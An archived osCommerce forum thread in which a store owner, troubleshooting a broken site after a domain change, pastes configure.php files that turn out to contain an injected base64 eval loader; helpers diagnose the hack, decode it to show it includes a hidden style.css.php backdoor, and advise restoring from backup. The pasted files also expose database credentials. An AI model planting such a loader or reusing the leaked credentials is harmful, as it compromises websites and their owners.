Jump to content
  • Checkout
  • Login
  • Get in touch

osCommerce

The e-commerce.

Domain name changed - site isn't working properly


flashtank

Recommended Posts

hi everyone,

 

Gonna try to explain this the best I can.

 

Had a site installed and working with no problems at www.hedwigandsergeantmajor.com/catalog

 

My client changed his domain name (with the same company) to www.toysoldiertoronto.com. The hosting site said all they did was change the domain name pointing to the hosting server and that all the files were still there.

 

However, when you go to www.toysoldiertoronto.com/catalog the home page of the store comes up , but all the pictures still are referencing the hedwigandsergeantmajor.com domain name when you hover over them. When you click the links like "login" or "shipping" or whatever, all links on the page are still trying to reference the old domain name as well.

 

What I don't understand is, I cannot login to the control panel either obviously. If the site had all the products added through the control panel (and not through a code editing program like dreamweaver), how can I make everything work properly again to reference the new domain name, toysoldiertoronto.com?

 

thanks in advance...I have been trying for hours to come up with an answer, but have come up blank.

J.

Link to comment
Share on other sites

In the includes FOLDER (catalog and admin) where the normal configure.php files are there is a FOLDER named local

 

On some installs there may be a configure.php inside the local FOLDER (catalog and admin)

 

If there is, anything in it overrides anything in the normal configure.php files.

 

Check for the other two config files that might be around.

 

And if you edit them locally then FTP to the site be sure the changed versions get to the site.

 

Sometimes permission problems can keep FTP from replacing the existing files on the server.

If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you.

 

"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."

- Me -

 

"Headers already sent" - The definitive help

 

"Cannot redeclare ..." - How to find/fix it

 

SSL Implementation Help

 

Like this post? "Like" it again over there >

Link to comment
Share on other sites

Hey guys,

 

a bit of progress made, but still have a problem. All the site pictures came up fine once I updated the 2 configure/php files to reflect the new domain name, toysoldiertoronto.com.

 

Now, when you click on a product or any link still on the homepage of the store (www.toysoldiertoronto.com/catalog)a "cannot find that page" pops up.

 

Here is one of the configure.php pages:

 

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2hlZHdpZzUvcHVibGljX2h0bWwvY2F0YWxvZy9hZG1pbi9pbmNsdWRlcy9sYW5ndWFnZXMvZ2VybWFuL2ltYWdlcy9idXR0b25zL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

<?php

define('HTTP_SERVER', 'http://toysoldiertoronto.com');

define('HTTP_CATALOG_SERVER', 'http://toysoldiertoronto.com');

define('HTTPS_CATALOG_SERVER', 'http://toysoldiertoronto.com');

define('ENABLE_SSL_CATALOG', 'false');

define('DIR_FS_DOCUMENT_ROOT', '/home/hedwig5/public_html/catalog/');

define('DIR_WS_ADMIN', '/catalog/admin/');

define('DIR_FS_ADMIN', '/home/hedwig5/public_html/catalog/admin/');

define('DIR_WS_CATALOG', '/catalog/');

define('DIR_FS_CATALOG', '/home/hedwig5/public_html/catalog/');

define('DIR_WS_IMAGES', 'images/');

define('DIR_WS_ICONS', DIR_WS_IMAGES . 'icons/');

define('DIR_WS_CATALOG_IMAGES', DIR_WS_CATALOG . 'images/');

define('DIR_WS_INCLUDES', 'includes/');

define('DIR_WS_BOXES', DIR_WS_INCLUDES . 'boxes/');

define('DIR_WS_FUNCTIONS', DIR_WS_INCLUDES . 'functions/');

define('DIR_WS_CLASSES', DIR_WS_INCLUDES . 'classes/');

define('DIR_WS_MODULES', DIR_WS_INCLUDES . 'modules/');

define('DIR_WS_LANGUAGES', DIR_WS_INCLUDES . 'languages/');

define('DIR_WS_CATALOG_LANGUAGES', DIR_WS_CATALOG . 'includes/languages/');

define('DIR_FS_CATALOG_LANGUAGES', DIR_FS_CATALOG . 'includes/languages/');

define('DIR_FS_CATALOG_IMAGES', DIR_FS_CATALOG . 'images/');

define('DIR_FS_CATALOG_MODULES', DIR_FS_CATALOG . 'includes/modules/');

define('DIR_FS_BACKUP', DIR_FS_ADMIN . 'backups/');

 

define('DB_SERVER', 'localhost');

define('DB_SERVER_USERNAME', 'hedwig5_grant');

define('DB_SERVER_PASSWORD', 'landrover');

define('DB_DATABASE', 'hedwig5_onlinestoredb');

define('USE_PCONNECT', 'false');

define('STORE_SESSIONS', 'mysql');

?>

 

 

HERE is the 2nd Configure page:

 

<?php

define('HTTP_SERVER', 'http://toysoldiertoronto.com');

define('HTTPS_SERVER', 'http://toysoldiertoronto.com');

define('ENABLE_SSL', false);

define('HTTP_COOKIE_DOMAIN', 'toysoldiertoronto.com');

define('HTTPS_COOKIE_DOMAIN', 'toysoldiertoronto.com');

define('HTTP_COOKIE_PATH', '/catalog/');

define('HTTPS_COOKIE_PATH', '/catalog/');

define('DIR_WS_HTTP_CATALOG', '/catalog/');

define('DIR_WS_HTTPS_CATALOG', '/catalog/');

define('DIR_WS_IMAGES', 'images/');

define('DIR_WS_ICONS', DIR_WS_IMAGES . 'icons/');

define('DIR_WS_INCLUDES', 'includes/');

define('DIR_WS_BOXES', DIR_WS_INCLUDES . 'boxes/');

define('DIR_WS_FUNCTIONS', DIR_WS_INCLUDES . 'functions/');

define('DIR_WS_CLASSES', DIR_WS_INCLUDES . 'classes/');

define('DIR_WS_MODULES', DIR_WS_INCLUDES . 'modules/');

define('DIR_WS_LANGUAGES', DIR_WS_INCLUDES . 'languages/');

 

define('DIR_WS_DOWNLOAD_PUBLIC', 'pub/');

define('DIR_FS_CATALOG', '/home/hedwig5/public_html/catalog/');

define('DIR_FS_DOWNLOAD', DIR_FS_CATALOG . 'download/');

define('DIR_FS_DOWNLOAD_PUBLIC', DIR_FS_CATALOG . 'pub/');

 

define('DB_SERVER', 'localhost');

define('DB_SERVER_USERNAME', 'hedwig5_grant');

define('DB_SERVER_PASSWORD', 'landrover');

define('DB_DATABASE', 'hedwig5_onlinestoredb');

define('USE_PCONNECT', 'false');

define('STORE_SESSIONS', 'mysql');

?>

 

 

any ideas as to why none of the product pages are coming up?

thanks

Jason

Link to comment
Share on other sites

You've been hacked.

 

Read this

 

And this

If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you.

 

"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."

- Me -

 

"Headers already sent" - The definitive help

 

"Cannot redeclare ..." - How to find/fix it

 

SSL Implementation Help

 

Like this post? "Like" it again over there >

Link to comment
Share on other sites

Decoding the hack gives a hack file location:

 

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){
 $GLOBALS['mfsn']='/home/hedwig5/public_html/catalog/admin/includes/languages/german/images/buttons/style.css.php';
 if(file_exists($GLOBALS['mfsn'])){
   include_once($GLOBALS['mfsn']);
   if(function_exists('gml')&&function_exists('dgobh')){ 
     ob_start('dgobh');
   }
 }
}

/catalog/admin/includes/languages/german/images/buttons/style.css.php

If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you.

 

"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."

- Me -

 

"Headers already sent" - The definitive help

 

"Cannot redeclare ..." - How to find/fix it

 

SSL Implementation Help

 

Like this post? "Like" it again over there >

Link to comment
Share on other sites

thanks Germ. Obviously, I assume I have to delete that file...but I still have to go through re-installing from a backup? Do you know where I can find info about how to go about that?

thanks again for your help.

J.

 

 

 

Decoding the hack gives a hack file location:

 

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){
 $GLOBALS['mfsn']='/home/hedwig5/public_html/catalog/admin/includes/languages/german/images/buttons/style.css.php';
 if(file_exists($GLOBALS['mfsn'])){
   include_once($GLOBALS['mfsn']);
   if(function_exists('gml')&&function_exists('dgobh')){ 
     ob_start('dgobh');
   }
 }
}

/catalog/admin/includes/languages/german/images/buttons/style.css.php

Link to comment
Share on other sites

thanks Germ. Obviously, I assume I have to delete that file...but I still have to go through re-installing from a backup? Do you know where I can find info about how to go about that?

thanks again for your help.

J.

 

Same hack again!!!

will maybe add a file called saf.php ,thumbs.php maybe m.php not sure about this last one one by me he installed in the FCK editor

John

To improve is to change; to be perfect is to change often.

 

Link to comment
Share on other sites

Same hack again!!!

will maybe add a file called saf.php ,thumbs.php maybe m.php not sure about this last one one by me he installed in the FCK editor

John

 

Hi,

Sorry forgot to add the hack has probabably installed in most of your files means a complete backup!

If you do not have a backup ask your host likely he can give you one

John

To improve is to change; to be perfect is to change often.

 

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...